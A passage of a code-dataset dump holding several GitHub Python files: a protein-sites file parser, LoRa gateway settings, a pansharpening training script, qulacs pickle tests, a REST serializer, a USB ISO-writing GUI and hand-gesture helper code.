optional. Key value must be separated by a ':', \n but any delimiter (other than ':') is allowed. \n\n Parameters\n ----------------\n \n filename : str\n Name of the shephard domains file to read\n\n delimiter : str (default = \\t)\n String used as a delimiter on the input file. \n\n skip_bad : bool (default = True)\n Flag that means if bad lines (lines that trigger an exception) \n are encountered the code will just skip them. By default this is \n true, which adds a certain robustness to file parsing, but could \n also hide errors. Note that if lines are skipped a warning will be \n printed (regardless of verbose flag). \n\n\n \"\"\"\n\n if delimiter == ':':\n raise InterfaceException('When parsing site file cannot use \":\" as a delimeter because this is used to delimit key/value pairs (if provided)')\n\n\n with open(filename,'r') as fh:\n content = fh.readlines()\n\n ID2site={}\n \n linecount=0\n for line in content:\n\n linecount = linecount + 1\n\n # skip comment lines\n if interface_tools.is_comment_line(line):\n continue\n\n sline = line.strip().split(delimiter)\n\n try:\n unique_ID = sline[0].strip()\n position = int(sline[1].strip())\n site_type = sline[2].strip()\n symbol = sline[3].strip()\n\n # this enables the value to be None if you\n # write a symbol where there's no value associated\n # with a site\n tmp = sline[4].strip()\n if tmp == 'None':\n value = None\n else:\n value = float(tmp)\n\n attributes = {}\n except Exception as e:\n msg = f'Failed parsing file [{filename}] on line [{linecount}].\\n\\nException raised: {str(e)}\\n\\nline printed below:\\n{line}'\n\n # should update this to also display the actual error...\n if skip_bad:\n shephard_exceptions.print_warning(msg + \"\\nSkipping this line...\")\n continue\n else:\n raise InterfaceException(msg)\n\n # if there's more parse attribute dictionary entries\n if len(sline) > 5:\n attributes = interface_tools.parse_key_value_pairs(sline[5:], filename, linecount, line)\n\n if unique_ID in ID2site:\n ID2site[unique_ID].append({'position':position, 'site_type':site_type, 'symbol':symbol, 'value':value, 'attributes':attributes})\n else:\n ID2site[unique_ID] =[{'position':position, 'site_type':site_type, 'symbol':symbol, 'value':value, 'attributes':attributes}]\n\n self.data = ID2site\n\n\n\n##############################################\n## ##\n## PUBLIC FACING FUNCTIONS BELOW ##\n## ##\n##############################################\n\n\n## ------------------------------------------------------------------------\n##\ndef add_sites_from_file(proteome, filename, delimiter='\\t', return_dictionary=False, safe=True, skip_bad=True, verbose=True):\n r\"\"\"\n Function that provides the user-facing interface for reading correctly \n configured SHEPHARD sites files and adding those sites to the proteins \n of interest.\n \n \n A SHEPHARD sites file is a tab (or other) delineated file where each \n line has the following convention::\n \n 1 2 3 4 5 [ 6 7 ... n ] \n Unique_ID position site_type symbol value [key_1:value_1 key_2:value_2 ... key_n:value_n ]\n \n Each line has six required values and then can have as many key:value pairs as may be\n desired.\n\n\n Parameters\n ----------\n proteome : Proteome\n Proteome object to which we're adding sites. Note that ONLY sites \n for which a protein is found will be used. Protein-Site \n cross-referencing is done using the protein's unique_ID which \n should be the key used in the sites_dictionary\n\n filename : str\n Name of the shephard site file to be read\n\n delimiter : str (default = '\\\\t')\n String used as a delimiter on the input file. \n\n return_dictionary : bool, default=False\n If set to true, this function will return the sites dictionary \n and will NOT add that dictionary to the proteome - i.e. the \n function basically becomes a parser for SHEPHARD-compliant \n sites files. \n\n safe : bool (default = True)\n If set to True then any exceptions raised during the site-adding \n process (i.e. after file parsing) are acted on. If set to False, \n exceptions simply mean the site in question is skipped. There are \n various reasons site addition could fail (e.g. site falls outside \n of protein position so if verbose=True then the cause of an exception \n is also printed to screen. It is highly recommend that if you choose \n to use safe=False you also set verbose=True. Default = True.\n \n skip_bad : bool (default = True)\n Flag that means if bad lines (lines that trigger an exception) are \n encountered the code will just skip them. By default this is true, \n which adds a certain robustness to file parsing, but could also hide \n errors. Note that if lines are skipped a warning will be printed \n (regardless of verbose flag). \n\n verbose : bool (default = True)\n Flag that defines how 'loud' output is. Will warn about errors \n on adding sites.\n \n Returns\n ---------\n None or dict\n If return_dictionary is set to False (default) then this function \n has no return value, but the sites are added to the Proteome object \n passed as the first argument. If return_dictionary is set to True \n the function returns the parsed sites dictionary without adding the \n newly-read sites to the proteome.\n\n \"\"\"\n\n # check first argument is a proteome\n interface_tools.check_proteome(proteome, 'add_sites_from_file (si_sites)')\n\n sites_interface = _SitesInterface(filename, delimiter, skip_bad)\n\n if return_dictionary:\n return sites_interface.data\n\n\n # finally add the site from the dictionary generated by the SitesInterface parser\n add_sites_from_dictionary(proteome, sites_interface.data, safe, verbose)\n\n\n\n## ------------------------------------------------------------------------\n##\ndef add_sites_from_dictionary(proteome, sites_dictionary, safe=True, verbose=False):\n \"\"\"\n Function that takes a correctly formatted Sites dictionary and will add \n those Sites to the proteins in the Proteome.\n \n Sites dictionaries are key-value pairs, where the key is a unique_ID \n associated with a given Protein, and the value is a list of dictionaries. \n Each subdirectionay has the following elements::\n \n 'position' = site position\n 'site_type' = site type\n 'symbol' = site symbol \n 'value' = site value \n 'attributes' = site attribute dictionary\n\n In this way, each site that maps to a give unique_ID will be added to \n the associated protein. The use of a list of dictionaries (as opposed\n to a simple unique_ID:site_dictionary pairing) means multiple sites \n for a single protein can be added at once.\n\n Parameters\n -------------\n\n proteome : Proteome\n Proteome object to which we're adding sites. Note that ONLY sites \n for which a protein is found will be used. Protein:Site \n cross-referencing is done using the protein's unique_ID \n which should be the key used in the sites_dictionary\n\n sites_dictionary : dict\n A sites dictionary (defined above) is dictionary that maps a \n unique_ID back to a list of dictionaries, where each \n subdictionay has five elements, desribed above.\n\n Recall the only type-specific values (position and value) are \n cast automatically when a site is added by the Protein object, \n so there is no need to do that in this function too.\n\n Extra key-value paris in each sub-dictionary are ignored\n\n safe : bool (default = True)\n If set to True then any exceptions raised during the site-adding \n process are acted on. If set to false, exceptions simply mean the \n site in question is skipped. There are various reasons site addition \n could fail (notably position of the site is outside of the protein \n limits) and so if verbose=True then the cause of an exception is\n also printed to screen. It is highly recommend that if you choose to\n use safe=False you also set verbose=True\n\n verbose : bool (default = False)\n Flag that defines how 'loud' output is. Will warn about errors on \n adding sites.\n\n Returns\n ---------\n None\n No return value, but adds all of the passed sites to the protein\n \n \"\"\"\n \n for protein in proteome:\n if protein.unique_ID in sites_dictionary:\n for site in sites_dictionary[protein.unique_ID]:\n\n try:\n position = site['position']\n site_type = site['site_type']\n symbol = site['symbol']\n value = site['value']\n try:\n ad = site['attributes'] \n except:\n ad = {}\n except Exception:\n raise InterfaceException('When sites dictionary for key [%s] was unable to extract five distinct parametes. Entry is:\\n%s\\n'% (protein.unique_ID, site))\n\n # assuming we can read all five params try and add the site\n try:\n protein.add_site(position, site_type, symbol, value, attributes = ad) \n\n except ProteinException as e:\n msg='- skipping site %s at %i on %s' %(site_type, position, protein)\n if safe:\n shephard_exceptions.print_and_raise_error(msg, e)\n else:\n if verbose:\n shephard_exceptions.print_warning(msg)\n continue\n \n\n \n## ------------------------------------------------------------------------\n##\ndef write_sites(proteome, filename, delimiter='\\t', site_types=None):\n r\"\"\"\n Function that writes out sites to file in a standardized format. Note \n that attributes are converted to a string, which for simple attributes \n is reasonable but is not really a viable stratergy for complex objects, \n although this will not yeild and error.\n\n If a site_types list is provided, only site_types that match to\n strings in this list are written out.\n \n Parameters\n -----------\n proteome : Proteome\n Proteome object from which the sites will be extracted from\n\n filename : str\n Filename that will be used to write the new sites file\n\n site_type : str (default = None)\n If provided, this is an identifier that allows you to specificy \n a specific site type to write out.\n\n delimiter : str (default = '\\\\t')\n Character (or characters) used to separate between fields. \n Default is the tab character ('\\\\t'), which is recommended to \n maintain compliance with default SHEPHARD file-reading functions. \n\n Returns\n --------\n None\n No return type, but generates a new file with the complete set of \n sites from this proteome written to disk.\n \n\n \"\"\"\n\n # added so that we ensure site_types is a list if passed\n if site_types is not None:\n if type(site_types) is not list:\n raise InterfaceException('When passing a site_type this must be a list')\n\n\n with open(filename, 'w') as fh:\n for protein in proteome:\n for s in protein.sites:\n\n # if we're using site_types and the current sites \n if site_types is not None:\n if s.site_type not in site_types:\n continue\n\n # build a line \n # if the passed parameter site_types is being\n # used\n line = __build_site_line(s, delimiter)\n\n fh.write(f\"{line}\")\n\n\n\n## ------------------------------------------------------------------------\n##\ndef write_sites_from_list(site_list, filename, delimiter='\\t'):\n r\"\"\"\n Function that writes out sites to a SHEPHARD sites file from a list\n of Site objects. \n Note that attributes are converted to a string, which for simple \n attributes is reasonable but is not really a viable stratergy for \n complex objects, although this will not yeild and error.\n \n Parameters\n -----------\n\n site_list : List of Site objects\n List of site objects which will be written\n\n filename : str\n Filename that will be used to write the new sites file\n\n delimiter : str (default = '\\\\t')\n Character (or characters) used to separate between fields. Default is \n '\\\\t' which is recommended to maintain compliance with default \n `add_sites_from_file()` function\n \n Returns\n --------\n None\n No return type, but generates a new file with the complete set of \n sites from this proteome written to disk.\n\n \"\"\"\n\n # first check if items in the list are site objects\n for s in site_list:\n interface_tools.check_site(s, 'write_sites_from_list')\n\n with open(filename, 'w') as fh:\n\n # for each site in the list\n for s in site_list:\n\n # build a line \n # if the passed parameter site_types is being\n # used\n line = __build_site_line(s, delimiter)\n\n fh.write(f\"{line}\")\n\n\n\n## ------------------------------------------------------------------------\n##\ndef __build_site_line(s, delimiter):\n \"\"\"\n Internal function that takes a Site object and returns a line that can\n be written to a Sites file. This is called internally by functions that\n write Sites.\n\n Parameters\n ----------------------\n s : shephard.Site\n Site object being converted to a string\n\n delimiter : str (default = '\\\\t')\n Character (or characters) used to separate between fields. \n Default is the tab character ('\\\\t'), which is recommended to \n maintain compliance with default SHEPHARD file-reading functions. \n\n Returns\n --------------\n str\n Returns a string that is ready to be written to file\n\n \"\"\"\n\n # systematically construct each line in the file \n line = ''\n line = line + str(s.protein.unique_ID) + delimiter\n line = line + str(s.position) + delimiter\n line = line + str(s.site_type) + delimiter \n line = line + str(s.symbol) + delimiter\n\n # note last required element has no trailing delimiter\n line = line + str(s.value) \n \n if s.attributes:\n for k in s.attributes:\n atrbt = interface_tools.full_clean_string(s.attribute(k))\n line = line + delimiter + f\"{k}:{atrbt}\"\n\n line = line + \"\\n\"\n\n return line\n","repo_name":"holehouse-lab/shephard","sub_path":"shephard/interfaces/si_sites.py","file_name":"si_sites.py","file_ext":"py","file_size_in_byte":16647,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"71480929333","text":"# Program settings\n## General\nGATEWAY_ID = \"g1\"\n\n# The address of the packet forwarder\n# Check these match those in global.config\nserver_address = ('localhost', 1730)\ndown_address = ('localhost', 1735)\n\nDEBUG = False\nENCRYPTED_PACKETS = True\nIROHA_ACTIVATED = True\n\n## LoRa\nACK_RATIO = 8 # How many packets to send before expecting an ACK\n# This will be changed if the UAV requests it in a ACK packet.\n\n# Constants\nPREDICTED_PACKET_LENGTH = 400\n\n# For sx_1302 hal communication\nPROTOCOL_VERSION = 0x02\nPUSH_DATA_ID = 0x00\nPUSH_ACK_ID = 0x01\nPULL_DATA_ID = 0x02\nPULL_ACK_ID = 0x04\nPULL_RESP_ID = 0x03\nTX_ACK = 0x05\n","repo_name":"BRM-Code/LongLink-Hotspot","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40591648566","text":"from __future__ import print_function\r\nimport time\r\nimport os\r\nimport h5py\r\nimport numpy as np\r\nimport scipy.ndimage\r\nimport tensorflow as tf\r\nimport matplotlib.pyplot as plt\r\nfrom PIL import Image\r\nfrom datetime import datetime\r\nimport cv2\r\nfrom spat_ED import ED1\r\nfrom MS2Pnet import pP_ED\r\n\r\npan_path = 'PAN.h5'\r\ngt_path = 'GT.h5'\r\n\r\nEPOCHES = 10\r\nBATCH_SIZE = 10\r\npatch_size = 264\r\nlogging_period = 10\r\nLEARNING_RATE = 0.002\r\nDECAY_RATE = 0.85\r\n\r\n# W = [0.31, 0.05, 0.37, 0.27]\r\n# W = [0.35, 0.05, 0.35, 0.25]\r\n\r\nMS2P_MODEL_PATH = './MS2P_models/2000/2000.ckpt'\r\n\r\ndef main():\r\n\twith tf.device('/cpu:0'):\r\n\t\tsource_pan_data = h5py.File(pan_path, 'r')\r\n\t\tsource_pan_data = source_pan_data['data'][:]\r\n\t\tsource_pan_data = np.transpose(source_pan_data, (0, 3, 2, 1)) / 255.0\r\n\t\tprint(\"source_pan_data shape:\", source_pan_data.shape)\r\n\r\n\t\tgt_data = h5py.File(gt_path, 'r')\r\n\t\tgt_data = gt_data['data'][:]\r\n\t\tgt_data = np.transpose(gt_data, (0, 3, 2, 1)) / 255.0\r\n\t\tprint(\"gt_data shape:\", gt_data.shape)\r\n\r\n\t\tdata = np.concatenate([gt_data, source_pan_data], axis = -1)\r\n\t\tprint(\"data shape:\", data.shape)\r\n\t\tdel source_pan_data, gt_data\r\n\r\n\t\tstart_time = datetime.now()\r\n\t\tprint('Epoches: %d, Batch_size: %d' % (EPOCHES, BATCH_SIZE))\r\n\r\n\t\tnum_imgs = data.shape[0]\r\n\t\tmod = num_imgs % BATCH_SIZE\r\n\t\tn_batches = int(num_imgs // BATCH_SIZE)\r\n\t\tprint('Train images number %d, Batches: %d.\\n' % (num_imgs, n_batches))\r\n\t\tif mod > 0:\r\n\t\t\tprint('Train set has been trimmed %d samples...\\n' % mod)\r\n\t\t\tsource_imgs = data[:-mod]\r\n\t\telse:\r\n\t\t\tsource_imgs = data\r\n\r\n\t\t# create the graph\r\n\t\twith tf.Graph().as_default(), tf.Session() as sess:\r\n\t\t\tMS = tf.placeholder(tf.float32, shape = (BATCH_SIZE, patch_size, patch_size, 4), name = 'MS')\r\n\t\t\twith tf.device('/gpu:1'):\r\n\t\t\t\tpP_NET = pP_ED('pP_ED')\r\n\t\t\t\tMS_converted_PAN = pP_NET.transform(I = MS, is_training = True, reuse = False)\r\n\r\n\t\t\tpP_list = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope = 'pP_ED')\r\n\r\n\r\n\t\t\twith tf.device('/gpu:0'):\r\n\t\t\t\tINPUT = tf.placeholder(tf.float32, shape = (BATCH_SIZE, patch_size, patch_size, 1), name = 'INPUT')\r\n\t\t\t\tNET=ED1('spatial_ED')\r\n\t\t\t\tOUTPUT = NET.transform(INPUT, is_training=True, reuse=False)\r\n\r\n\t\t\tLOSS = 25 * tf.reduce_mean(tf.square(OUTPUT - INPUT)) + (1 - tf.reduce_mean(SSIM_LOSS(OUTPUT, INPUT), axis=0))\r\n\r\n\t\t\tcurrent_iter = tf.Variable(0)\r\n\t\t\tlearning_rate = tf.train.exponential_decay(learning_rate = LEARNING_RATE, global_step = current_iter,\r\n\t\t\t decay_steps = int(n_batches), decay_rate = DECAY_RATE,\r\n\t\t\t staircase = False)\r\n\r\n\t\t\ttheta = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope = 'spatial_ED')\r\n\t\t\tsolver = tf.train.AdamOptimizer(learning_rate).minimize(LOSS, global_step = current_iter, var_list = theta)\r\n\t\t\t\r\n\r\n\t\t\tsess.run(tf.global_variables_initializer())\r\n\t\t\tsaver0 = tf.train.Saver(var_list = pP_list)\r\n\t\t\tsaver0.restore(sess, MS2P_MODEL_PATH)\r\n\t\t\tsaver = tf.train.Saver(max_to_keep = 50)\r\n\t\t\ttf.summary.scalar('Loss', LOSS)\r\n\t\t\ttf.summary.scalar('Learning rate', learning_rate)\r\n\t\t\ttf.summary.image('input', INPUT, max_outputs = 3)\r\n\t\t\ttf.summary.image('output', OUTPUT, max_outputs = 3)\r\n\r\n\t\t\tmerged = tf.summary.merge_all()\r\n\t\t\twriter = tf.summary.FileWriter(\"spat_logs/\", sess.graph)\r\n\r\n\t\t\t# ** Start Training **\r\n\t\t\tstep = 0\r\n\r\n\r\n\t\t\tfor epoch in range(EPOCHES):\r\n\t\t\t\tnp.random.shuffle(source_imgs)\r\n\t\t\t\tfor batch in range(n_batches):\r\n\t\t\t\t\tstep += 1\r\n\t\t\t\t\tcurrent_iter = step\r\n\t\t\t\t\tpan_batch = data[batch * BATCH_SIZE:(batch * BATCH_SIZE + BATCH_SIZE), :, :, 4]\r\n\t\t\t\t\tms_batch = data[batch * BATCH_SIZE:(batch * BATCH_SIZE + BATCH_SIZE), :, :, 0:4]\r\n\t\t\t\t\tpan_batch = np.expand_dims(pan_batch, -1)\r\n\t\t\t\t\tms_c_pan_batch = sess.run(MS_converted_PAN, feed_dict={MS: ms_batch})\r\n\r\n\r\n\t\t\t\t\t# run the training step\r\n\t\t\t\t\tif step % 2:\r\n\t\t\t\t\t\tFEED_DICT = {INPUT: pan_batch}\r\n\t\t\t\t\t\tsess.run(solver, feed_dict = FEED_DICT)\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tFEED_DICT = {INPUT: ms_c_pan_batch}\r\n\t\t\t\t\t\tsess.run(solver, feed_dict = FEED_DICT)\r\n\t\t\t\t\tresult = sess.run(merged, feed_dict = FEED_DICT)\r\n\t\t\t\t\twriter.add_summary(result, step)\r\n\t\t\t\t\tif step % 100 == 0:\r\n\t\t\t\t\t\tsaver.save(sess, 'spat_models/' + str(step) + '/' + str(step) + '.ckpt')\r\n\r\n\t\t\t\t\tis_last_step = (epoch == EPOCHES - 1) and (batch == n_batches - 1)\r\n\t\t\t\t\tif is_last_step or step % logging_period == 0:\r\n\t\t\t\t\t\telapsed_time = datetime.now() - start_time\r\n\t\t\t\t\t\tloss = sess.run(LOSS, feed_dict = FEED_DICT)\r\n\t\t\t\t\t\tlr = sess.run(learning_rate)\r\n\t\t\t\t\t\tprint('Epoch:%d/%d: step:%d, lr:%s, loss:%s, elapsed_time:%s\\n' % (\r\n\t\t\t\t\t\t\tepoch + 1, EPOCHES, step, lr, loss, elapsed_time))\r\n\t\t\t\tsaver.save(sess, 'spat_models/' + str(step) + '/' + str(step) + '.ckpt')\r\n\r\n\t\twriter.close()\r\n\r\n\r\ndef SSIM_LOSS(img1, img2, size = 11, sigma = 1.5):\r\n\twindow = _tf_fspecial_gauss(size, sigma) # window shape [size, size]\r\n\tk1 = 0.01\r\n\tk2 = 0.03\r\n\tL = 1 # depth of image (255 in case the image has a different scale)\r\n\tc1 = (k1 * L) ** 2\r\n\tc2 = (k2 * L) ** 2\r\n\tmu1 = tf.nn.conv2d(img1, window, strides = [1, 1, 1, 1], padding = 'VALID')\r\n\tmu2 = tf.nn.conv2d(img2, window, strides = [1, 1, 1, 1], padding = 'VALID')\r\n\tmu1_sq = mu1 * mu1\r\n\tmu2_sq = mu2 * mu2\r\n\tmu1_mu2 = mu1 * mu2\r\n\tsigma1_sq = tf.nn.conv2d(img1 * img1, window, strides = [1, 1, 1, 1], padding = 'VALID') - mu1_sq\r\n\tsigma2_sq = tf.nn.conv2d(img2 * img2, window, strides = [1, 1, 1, 1], padding = 'VALID') - mu2_sq\r\n\tsigma1_2 = tf.nn.conv2d(img1 * img2, window, strides = [1, 1, 1, 1], padding = 'VALID') - mu1_mu2\r\n\r\n\t# value = (2.0 * sigma12 + C2) / (sigma1_sq + sigma2_sq + C2)\r\n\tssim_map = ((2 * mu1_mu2 + c1) * (2 * sigma1_2 + c2)) / ((mu1_sq + mu2_sq + c1) * (sigma1_sq + sigma2_sq + c2))\r\n\tvalue = tf.reduce_mean(ssim_map, axis = [1, 2, 3])\r\n\treturn value\r\n\r\n\r\ndef _tf_fspecial_gauss(size, sigma):\r\n\t\"\"\"Function to mimic the 'fspecial' gaussian MATLAB function\r\n\t\"\"\"\r\n\tx_data, y_data = np.mgrid[-size // 2 + 1:size // 2 + 1, -size // 2 + 1:size // 2 + 1]\r\n\r\n\tx_data = np.expand_dims(x_data, axis = -1)\r\n\tx_data = np.expand_dims(x_data, axis = -1)\r\n\r\n\ty_data = np.expand_dims(y_data, axis = -1)\r\n\ty_data = np.expand_dims(y_data, axis = -1)\r\n\r\n\tx = tf.constant(x_data, dtype = tf.float32)\r\n\ty = tf.constant(y_data, dtype = tf.float32)\r\n\r\n\tg = tf.exp(-((x ** 2 + y ** 2) / (2.0 * sigma ** 2)))\r\n\treturn g / tf.reduce_sum(g)\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\tmain()\r\n","repo_name":"hanna-xu/SDPNet-for-pansharpening","sub_path":"spat_main.py","file_name":"spat_main.py","file_ext":"py","file_size_in_byte":6378,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"21"} +{"seq_id":"70962052854","text":"import pickle\nimport random\n\nimport numpy\nimport numpy as np\n\nfrom qulacs import (\n DensityMatrix,\n ParametricQuantumCircuit,\n QuantumCircuit,\n QuantumState,\n)\nfrom qulacs.gate import (\n CNOT,\n CZ,\n FREDKIN,\n RX,\n RY,\n RZ,\n SWAP,\n TOFFOLI,\n U1,\n U2,\n U3,\n DenseMatrix,\n H,\n Identity,\n ParametricPauliRotation,\n RandomUnitary,\n S,\n Sdag,\n T,\n Tdag,\n X,\n Y,\n Z,\n add,\n merge,\n sqrtX,\n sqrtXdag,\n to_matrix_gate,\n)\n\n\nclass TestPickle:\n def test_state_vector(self) -> None:\n state = QuantumState(10)\n state.set_Haar_random_state()\n data = pickle.dumps(state)\n state2 = pickle.loads(data)\n assert isinstance(state2, QuantumState)\n assert numpy.allclose(state.get_vector(), state2.get_vector())\n\n def test_density_matrix(self) -> None:\n state = DensityMatrix(5)\n state.set_Haar_random_state()\n data = pickle.dumps(state)\n state2 = pickle.loads(data)\n assert isinstance(state2, DensityMatrix)\n assert numpy.allclose(state.get_matrix(), state2.get_matrix())\n\n def test_quantum_circuit(self) -> None:\n gates = [\n Identity(0),\n X(0),\n Y(0),\n Z(0),\n H(0),\n S(0),\n Sdag(0),\n T(0),\n Tdag(0),\n sqrtX(0),\n sqrtXdag(0),\n CNOT(0, 1),\n CZ(0, 1),\n SWAP(0, 1),\n TOFFOLI(0, 1, 2),\n FREDKIN(0, 1, 2),\n DenseMatrix(0, np.eye(2)),\n DenseMatrix([0, 1], np.eye(4)),\n RandomUnitary([0, 1]),\n merge(X(0), Y(1)),\n add(X(0), Y(1)),\n to_matrix_gate(X(0)),\n U1(0, 0.0),\n U2(0, 0.0, 0.0),\n U3(0, 0.0, 0.0, 0.0),\n RX(0, 0.0),\n RY(0, 0.0),\n RZ(0, 0.0),\n ]\n circuit = QuantumCircuit(5)\n for x in gates:\n circuit.add_gate(x)\n data = pickle.dumps(circuit)\n del circuit\n circuit = pickle.loads(data)\n assert isinstance(circuit, QuantumCircuit)\n for x in range(circuit.get_gate_count()):\n assert np.allclose(circuit.get_gate(x).get_matrix(), gates[x].get_matrix())\n\n def test_parametric_quantum_circuit(self) -> None:\n gates = []\n circuit = ParametricQuantumCircuit(2)\n\n for _ in range(3):\n g = ParametricPauliRotation([0, 1], [1, 1], random.random())\n circuit.add_gate(g)\n gates.append(g)\n\n data = pickle.dumps(circuit)\n del circuit\n circuit = pickle.loads(data)\n assert isinstance(circuit, ParametricQuantumCircuit)\n for x in range(circuit.get_gate_count()):\n assert np.allclose(circuit.get_gate(x).get_matrix(), gates[x].get_matrix())\n","repo_name":"qulacs/qulacs","sub_path":"python/tests/single_cpu/test_pickle.py","file_name":"test_pickle.py","file_ext":"py","file_size_in_byte":2883,"program_lang":"python","lang":"en","doc_type":"code","stars":358,"dataset":"github-code","pt":"21"} +{"seq_id":"7984009250","text":"from rest_framework import serializers\n\nfrom beta.models import Beta\n\n\nclass BetaSerializer(serializers.HyperlinkedModelSerializer):\n\n def create(self, validated_data):\n validated_data['version2'] = 1\n return super().create(validated_data)\n\n class Meta:\n model = Beta\n fields = ('url', 'version1')\n","repo_name":"sentyaev/drf-versioning","sub_path":"beta/api/v1/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"21"} +{"seq_id":"33627658028","text":"from __future__ import division\nimport time, warnings\nimport gi\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import Gtk, GObject, Gdk\nfrom Util import *\nfrom System import *\nfrom Filesystem import *\n\nclass Gui:\n deviceFilenamesStorage = ['/dev/sdb','/dev/sdc','/dev/sdd','/dev/sde','/dev/sdf','/dev/sdg','/dev/sdh','/dev/sdi','/dev/sdj','/dev/sdk','/dev/sdl','/dev/sdm','/dev/sdn','/dev/sdo','/dev/sdp','/dev/sdq','/dev/sdr','/dev/sds','/dev/sdt','/dev/sdu','/dev/sdv','/dev/sdw','/dev/sdx','/dev/sdy']\n\n window = None\n progressbars = {}\n completedDevices = {}\n encryptSecretEntry = None\n builder = Gtk.Builder()\n\n STATUS_WRITE = False\n STATUS_WRITE_FINISHED = False\n validDevicesArray = []\n\n isoFile = \"\"\n isoFileSize = 0\n\n\n\n # Manage GUI according to mounted/unmounted devices.\n def manageGUI(self):\n # Find mounted USB devices (i.e. get Linux device files) and set text on self.progressbars.\n devicesArray = System.getInsertedUSBDevices()\n\n # Before writing.\n if not self.STATUS_WRITE and not self.STATUS_WRITE_FINISHED:\n # Reset all self.progressbars' text.\n for bar in self.deviceFilenamesStorage:\n self.progressbars[bar].set_show_text(False)\n\n # Put information on the progressbar.\n for device,serial in devicesArray:\n keySize = System.getKeySize(device)\n self.progressbars[device].set_text(\"Device: \"+device.replace(\"/dev/\",\"\")+\" | \"+serial[-20:]+\" | \"+keySize)\n self.progressbars[device].set_show_text(True)\n\n # After write is finished, clean removed USB keys.\n if self.STATUS_WRITE_FINISHED:\n for dev in self.deviceFilenamesStorage:\n if not (any(dev in arr for arr in devicesArray)): # if not (dev in devicesArray):\n self.progressbars[dev].set_fraction(0)\n\n return True # must be true for the timeout not to stop.\n\n\n\n def deploy(self, button):\n self.STATUS_WRITE = True\n\n if self.isoFile:\n # Kill open processes and delete logs. Disable write button. Clean progress bars' text.\n System.processesKillAndClean(self.config['logorroic'])\n button.set_sensitive(False)\n\n # GUI is modified only after the end of a method: all gtk events are handled in the mainloop.\n # The following lines of code force GUI updating.\n while Gtk.events_pending():\n Gtk.main_iteration_do(False)\n\n for bar in self.deviceFilenamesStorage:\n self.progressbars[bar].set_show_text(False)\n\n # Define valid and invalid devices.\n devicesAssociativeArray = System.getInsertedUSBDevices()\n for device,serial in devicesAssociativeArray:\n if System.getKeySize(device):\n self.progressbars[device].set_text(\"Valid device: creating initial structures...\")\n self.progressbars[device].set_show_text(True)\n\n self.validDevicesArray.append((device,serial))\n else:\n self.progressbars[device].set_text(\"Invalid device.\")\n self.progressbars[device].set_show_text(True)\n\n while Gtk.events_pending():\n Gtk.main_iteration_do(False)\n\n # For every valid device, umount partitions, clean GPT, create system partitions\n # and launch xorriso (progress stored in /tmp/device.log).\n for device,serial in self.validDevicesArray:\n System.forceUnmounting(device,self.config['logorroic'])\n\n if not System.wipeKeys(device, self.config['logorroic']):\n self.progressbars[device].set_text(\"Error initializing the GPT partitioning scheme.\")\n self.completedDevices[device] = True # mark this device as completed.\n else:\n # Create the first system partition for writing kernel+initrd+filesystem.squashfs files into.\n if not System.createIsoHostingPartition(device, int(self.isoFileSize), self.config['logorroic']):\n self.progressbars[device].set_text(\"Error creating the ISO hosting partition.\")\n self.completedDevices[device] = True\n else:\n # Write content from the hybrid-ISO (no MBR; only kernel, initrd, filesystem.squashfs)\n # with xorriso into the host partition: launch process.\n System.launchXorrisoSystemWrite(self.isoFile,device,\"1\",self.config['logorroic'])\n\n while Gtk.events_pending():\n Gtk.main_iteration_do(False)\n\n # Watch xorriso writing completion in a loop until all completed.\n while len(self.completedDevices) lm_list[5][1] and thumb_extent > 0.14:\n return True\n else:\n return False\n\n\ndef angle_finder(i, j, k):\n a = np.array([i[0], i[1]])\n b = np.array([j[0], j[1]])\n c = np.array([k[0], k[1]])\n radians = np.arctan2(c[1] - b[1], c[0] - b[0]) - np.arctan2(a[1] - b[1], a[0] - b[0])\n angle = np.abs(radians * 180 / np.pi)\n if angle > 180.0:\n angle = 360 - angle\n return angle\n\n\ndef hand_curl(landmark_list):\n finger_curl = [0, 0, 0, 0, 0]\n angle0 = angle_finder(landmark_list[4], landmark_list[3], landmark_list[1])\n angle1 = angle_finder(landmark_list[8], landmark_list[6], landmark_list[5])\n angle2 = angle_finder(landmark_list[12], landmark_list[10], landmark_list[9])\n angle3 = angle_finder(landmark_list[16], landmark_list[14], landmark_list[13])\n angle4 = angle_finder(landmark_list[20], landmark_list[18], landmark_list[17])\n if angle0 < 150:\n finger_curl[0] = 1\n if angle1 < 120:\n finger_curl[1] = 1\n if angle2 < 120:\n finger_curl[2] = 1\n if angle3 < 120:\n finger_curl[3] = 1\n if angle4 < 150:\n finger_curl[4] = 1\n # angle_curl = [angle0, angle1, angle2, angle3, angle3]\n # print(angle_curl)\n return finger_curl\n\n\ndef swiped(idx_belt, thresh=[5, 1], vert_adj=16/9, up_adj=1):\n def compute_speed(idx_belt):\n vx, vy = 0.0, 0.0\n ax, ay = 0.0, 0.0\n for idx in range(1, len(idx_belt)-1):\n vx += idx_belt[idx+1][0] - idx_belt[idx][0] # horizontal speed in pixels per frame\n vy += idx_belt[idx+1][1] - idx_belt[idx][1] # vertical speed in pixels per frame\n ax += idx_belt[idx+1][0] + idx_belt[idx-1][0] - 2*idx_belt[idx][0] # horizontal accel in pixels per frame^2\n ay += idx_belt[idx+1][1] + idx_belt[idx-1][1] - 2*idx_belt[idx][1] # horizontal accel in pixels per frame^2\n vx /= len(idx_belt)-2\n vy /= len(idx_belt)-2\n ax /= len(idx_belt)-2\n ay /= len(idx_belt)-2\n vy *= vert_adj # vertical compensation\n ay *= vert_adj # vertical compensation\n if vy < 0: # swipe_up compensation\n vy *= up_adj\n # speed = (vx**2 + vy**2)**0.5\n speed = max(abs(vx), abs(vy))\n accel = max(abs(ax), abs(ay))\n return vx, vy, speed, ax, ay, accel\n\n vx, vy, speed, ax, ay, accel = compute_speed(idx_belt)\n print(f\"vx={vx:.2f}, vy={vy:.2f}, speed={speed:.2f}, ax={ax:.2f}, 